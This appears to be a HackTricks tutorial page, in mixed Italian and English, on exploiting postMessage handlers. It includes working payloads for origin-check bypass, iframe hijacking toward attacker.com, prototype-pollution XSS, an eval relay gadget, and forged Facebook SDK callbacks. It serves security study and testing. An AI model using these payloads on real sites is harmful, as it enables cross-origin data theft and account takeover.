PostMessage Vulnerabilità

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Invio di PostMessage

PostMessage usa la seguente funzione per inviare un messaggio:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Nota che targetOrigin può essere ‘*’ o un URL come https://company.com.
Nel secondo scenario, il messaggio può essere inviato solo a quel dominio (anche se l’origin dell’oggetto Window è diverso).
Se viene usato il wildcard, i messaggi potrebbero essere inviati a qualsiasi dominio, e saranno inviati all’origin dell’oggetto Window.

Attaccare iframe & wildcard in targetOrigin

Come spiegato in this report se trovi una pagina che può essere iframed (no X-Frame-Header protection) e che sta inviando messaggi sensibili via postMessage usando un wildcard (*), puoi modificare l’origin dell’iframe e leak il messaggio sensibile a un dominio controllato da te.
Nota che se la pagina può essere iframed ma il targetOrigin è impostato su un URL e non su un wildcard, questo trucco non funzionerà.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener exploitation

addEventListener è la funzione usata da JS per dichiarare la funzione che si aspetta postMessages.
Verrà usato un codice simile al seguente:

window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return

// ...
},
false
)

Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesn’t check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).

Enumeration

In order to find event listeners in the current page you can:

  • Search the JS code for window.addEventListener and $(window).on (JQuery version)
  • Execute in the developer tools console: getEventListeners(window)

  • Go to Elements –> Event Listeners in the developer tools of the browser

Origin check bypasses

  • event.isTrusted attribute is considered secure as it returns True only for events that are generated by genuine user actions. Though it’s challenging to bypass if implemented correctly, its significance in security checks is notable.
  • The use of indexOf() for origin validation in PostMessage events may be susceptible to bypassing. An example illustrating this vulnerability is:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
  • The search() method from String.prototype.search() is intended for regular expressions, not strings. Passing anything other than a regexp leads to implicit conversion to regex, making the method potentially insecure. This is because in regex, a dot (.) acts as a wildcard, allowing for bypassing of validation with specially crafted domains. For instance:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • The match() function, similar to search(), processes regex. If the regex is improperly structured, it might be prone to bypassing.

  • The escapeHtml function is intended to sanitize inputs by escaping characters. However, it does not create a new escaped object but overwrites the properties of the existing object. This behavior can be exploited. Particularly, if an object can be manipulated such that its controlled property does not acknowledge hasOwnProperty, the escapeHtml won’t perform as expected. This is demonstrated in the examples below:

  • Expected Failure:

result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
  • Bypassing the escape:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"

In the context of this vulnerability, the File object is notably exploitable due to its read-only name property. This property, when used in templates, is not sanitized by the escapeHtml function, leading to potential security risks.

  • The document.domain property in JavaScript can be set by a script to shorten the domain, allowing for more relaxed same-origin policy enforcement within the same parent domain.

Origin-only trust + trusted relays

If a receiver only checks event.origin (e.g., trusts any *.trusted.com) you can often find a “relay” page on that origin that echoes attacker-controlled params via postMessage to a supplied targetOrigin/targetWindow. Examples include marketing/analytics gadgets that take query params and forward {msg_type, access_token, ...} to opener/parent. You can:

  • Open the victim page in a popup/iframe that has an opener so its handlers register (many pixels/SDKs only attach listeners when window.opener exists).
  • Navigate another attacker window to the relay endpoint on the trusted origin, populating message fields you want injected (message type, tokens, nonces).
  • Because the message now comes from the trusted origin, origin-only validation passes and you can trigger privileged behaviors (state changes, API calls, DOM writes) in the victim listener.

Abuse patterns seen in the wild:

  • Analytics SDKs (e.g., pixel/fbevents-style) consume messages like FACEBOOK_IWL_BOOTSTRAP, then call backend APIs using a token supplied in the message and include location.href / document.referrer in the request body. If you supply your own token, you can read these requests in the token’s request history/logs and exfil OAuth codes/tokens present in the URL/referrer of the victim page.
  • Any relay that reflects arbitrary fields into postMessage lets you spoof message types expected by privileged listeners. Combine with weak input validation to reach Graph/REST calls, feature unlocks, or CSRF-equivalent flows.

Hunting tips: enumerate postMessage listeners that only check event.origin, then look for same-origin HTML/JS endpoints that forward URL params via postMessage (marketing previews, login popups, OAuth error pages). Stitch both together with window.open() + postMessage to bypass origin checks.

e.origin == window.origin bypass

When embedding a web page within a sandboxed iframe using %%%%%%, it’s crucial to understand that the iframe’s origin will be set to null. This is particularly important when dealing with sandbox attributes and their implications on security and functionality.

By specifying allow-popups in the sandbox attribute, any popup window opened from within the iframe inherits the sandbox restrictions of its parent. This means that unless the allow-popups-to-escape-sandbox attribute is also included, the popup window’s origin is similarly set to null, aligning with the iframe’s origin.

Consequently, when a popup is opened under these conditions and a message is sent from the iframe to the popup using postMessage, both the sending and receiving ends have their origins set to null. This situation leads to a scenario where e.origin == window.origin evaluates to true (null == null), because both the iframe and the popup share the same origin value of null.

For more information read:

Bypassing SOP with Iframes - 1

Bypassing e.source

It’s possible to check if the message came from the same window the script is listening in (specially interesting for Content Scripts from browser extensions to check if the message was sent from the same page):

// If it’s not, return immediately.
if (received_message.source !== window) {
return
}

Puoi forzare e.source di un messaggio a null creando un iframe che invia il postMessage ed è immediatamente eliminato.

Per maggiori informazioni leggi:

Bypassing SOP with Iframes - 2

X-Frame-Header bypass

Per eseguire questi attacchi idealmente sarai in grado di inserire la pagina web della vittima dentro un iframe. Ma alcuni header come X-Frame-Header possono impedire quel comportamento.
In questi scenari puoi comunque usare un attacco meno stealthy. Puoi aprire una nuova scheda verso l’applicazione web vulnerabile e comunicare con essa:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Rubare il messaggio inviato al child bloccando la pagina principale

Nella pagina seguente puoi vedere come potresti rubare dei dati postmessage sensibili inviati a un child iframe bloccando la main page prima dell’invio dei dati e sfruttando una XSS in the child per leak the data prima che vengano ricevuti:

Blocking main page to steal postmessage

Rubare il messaggio modificando la location dell’iframe

Se puoi iframare una pagina web senza X-Frame-Header che contiene un altro iframe, puoi modificare la location di quel child iframe, quindi se sta ricevendo un postmessage inviato usando un wildcard, un attacker potrebbe cambiare l’origin di quell’iframe verso una pagina controlled da lui e rubare il messaggio:

Steal postmessage modifying iframe location

postMessage verso Prototype Pollution e/o XSS

In scenari in cui i dati inviati tramite postMessage vengono eseguiti da JS, puoi iframare la pagina e sfruttare la prototype pollution/XSS inviando l’exploit via postMessage.

Un paio di XSS molto ben spiegate tramite postMessage si trovano in https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Esempio di exploit per abusare di Prototype Pollution e poi XSS tramite un postMessage a un iframe:

<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}

setTimeout(get_code, 2000)
</script>
</body>
</html>

Per ulteriori informazioni:

Caricamento di script derivati dall’origine & pivot nella supply-chain (case study CAPIG)

capig-events.js registrava un listener per message solo quando window.opener esisteva. Alla ricezione di IWL_BOOTSTRAP verificava pixel_id ma memorizzava event.origin e successivamente lo usava per costruire ${host}/sdk/${pixel_id}/iwl.js.

Handler che scrive un origin controllato dall'attaccante ```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```

Exploit (origin → script-src pivot):

  1. Ottieni un opener: ad esempio, in Facebook Android WebView riusa window.name con window.open(target, name) in modo che la finestra diventi il proprio opener, poi invia un messaggio da un iframe malevolo.
  2. Invia IWL_BOOTSTRAP da qualsiasi origin per persistere host = event.origin in localStorage.
  3. Ospita /sdk/<pixel_id>/iwl.js su qualsiasi origin consentito da CSP (takeover/XSS/upload su un dominio di analytics in whitelist). startIWL() poi carica JS dell’attaccante nel sito che lo embedda (es., www.meta.com), abilitando chiamate cross-origin con credenziali e account takeover.

Se il controllo diretto dell’opener fosse stato impossibile, compromettere un iframe di terze parti nella pagina permetteva comunque di inviare il postMessage costruito al parent per avvelenare l’host memorizzato e forzare il caricamento dello script.

Backend-generated shared script → stored XSS: il plugin AHPixelIWLParametersPlugin concatenava i parametri delle regole utente nel JS aggiunto a capig-events.js (es., cbq.config.set(...)). L’iniezione di breakouts come "]} inseriva JS arbitrario, creando stored XSS nello script condiviso servito a tutti i siti che lo caricavano.

L’allowlist dei trusted-origin non è un confine

Un controllo severo di event.origin funziona solo se il trusted origin non può eseguire JS dell’attaccante. Quando pagine privilegiate inseriscono iframe di terze parti e assumono che event.origin === "https://partner.com" sia sicuro, qualsiasi XSS in partner.com diventa un ponte verso il parent:

// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})

Pattern di attacco osservato nel mondo reale:

  1. Exploit XSS in the partner iframe e drop a relay gadget in modo che qualsiasi postMessage diventi code exec all’interno della trusted origin:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
  1. From the attacker page, invia JS all’iframe compromesso che inoltra un tipo di messaggio consentito al parent. Il messaggio origina da partner.com, passa l’allowlist, e trasporta HTML che viene inserito in modo non sicuro:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
  1. Il parent inietta l’HTML dell’attaccante, ottenendo esecuzione JS nell’origin del parent (es. facebook.com), che può quindi essere usata per rubare codici OAuth o pivotare verso flussi di full account takeover.

Key takeaways:

  • Partner origin isn’t a boundary: qualsiasi XSS in un partner “trusted” consente agli attaccanti di inviare messaggi consentiti che bypassano i controlli su event.origin.
  • I handler che renderizzano payload controllati dal partner (es. innerHTML su specifici tipi di message) trasformano la compromissione del partner in una DOM XSS nello stesso origin.
  • Una vasta message surface (molti tipi, nessuna validazione della struttura) offre più gadget per pivotare una volta che un iframe partner è compromesso.

Predicting Math.random() callback tokens in postMessage bridges

Quando la validazione dei messaggi usa un “shared secret” generato con Math.random() (es. guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }) e lo stesso helper nomina anche gli iframe dei plugin, puoi recuperare gli output del PRNG e forgiare messaggi trusted:

  • Leak PRNG outputs via window.name: The SDK auto-names plugin iframes with guid(). If you control the top frame, iframe the victim page, then navigate the plugin iframe to your origin (e.g., window.frames[0].frames[0].location='https://attacker.com') and read window.frames[0].frames[0].name to obtain a raw Math.random() output.
  • Forzare più output senza reload: Alcuni SDK espongono un percorso di reinit; nell’FB SDK, sparare init:post con {xfbml:1} forza XFBML.parse(), distrugge/ricrea il plugin iframe e genera nuovi nomi/ID di callback. Reinit ripetuti producono tanti output PRNG quanti servono (attenzione a chiamate interne addizionali a Math.random() per callback/iframe ID, quindi è necessario saltare i valori intermedi).
  • Trusted-origin delivery via parameter pollution: Se un endpoint plugin first-party riflette un parametro non sanitizzato nel payload cross-window (es. /plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET), puoi iniettare &type=...&iconSVG=... preservando l’origin trusted facebook.com.
  • Predire il prossimo callback: Converti i nomi degli iframe leakati di nuovo in float in [0,1) e fornisci diversi valori (anche non consecutivi) a un predictor di Math.random di V8 (es. basato su Z3). Genera il prossimo guid() localmente per forgiare il token di callback atteso.
  • Triggerare il sink: Crea i dati del postMessage in modo che il bridge dispatchi xd.mpn.setupIconIframe e inietti HTML in iconSVG (es. URL-encoded <img src=x onerror=...>), ottenendo una DOM XSS dentro l’origin host; da lì si possono leggere iframe nello stesso origin (OAuth dialogs, arbiters, ecc.).
  • Framing quirks aiutano: La catena richiede framing. In alcuni webview mobile, X-Frame-Options può degradare in un non supportato ALLOW-FROM quando è presente frame-ancestors, e parametri di “compat” possono forzare frame-ancestors permissivi, abilitando il side channel window.name.

Esempio minimo di messaggio contraffatto

// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks